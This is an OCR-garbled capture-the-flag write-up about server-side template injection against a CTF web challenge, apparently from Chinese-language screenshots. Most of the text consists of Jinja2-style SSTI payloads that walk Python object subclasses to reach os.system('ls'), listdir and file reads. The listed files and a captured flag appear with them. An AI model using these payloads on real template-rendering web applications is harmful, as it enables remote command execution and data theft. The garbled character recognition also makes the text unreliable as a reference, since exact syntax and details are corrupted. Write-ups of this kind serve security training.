R SEPRAE B ST E)

&« c @ © & 220.249.52.133:5925
Byameses @ wrrs Bemm ©sshn H=eEmn

URL http://173.82.206.142:8004/0 not found

fi{ )._class_. base . subclasses ()[71]._init . globals_[os].system(’ls’) }}

ERsystemPLiZgTE T, BRANAlsdirBEE

<« Cc @ © & 220.249.52.133:59254J{{ (). class . base . subclasses ()[71]._init . globals ['os’listdir(.) }}

Byamesss @ =t HsAmn @ =smn il FEm

URL http://173.82.206.142:8004/['fl4g’, 'index.py'] not found

XHBEFBfdg
BEBUXAN A
http://220.249.52.133:59254/{{ [].__class__._ base__. subclasses_ ()[40]('fl4g').read() }}



<« c @ [ONN"1 220.249.52.‘\33:5%54,'({[]‘7c\assi‘7basei.isubc\assesi()[ctﬂ]{‘ﬂ4g').read[]}} | B2 e

EyaeEres @ HxrE Dsmmr O =oun xEmn

URL http://173.82.206.142:8004/ctf{f22b6844-5169-4054-b2a0-d95b9361 cb57)| not found

&5 13 Zlflag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

FEEHT. - o
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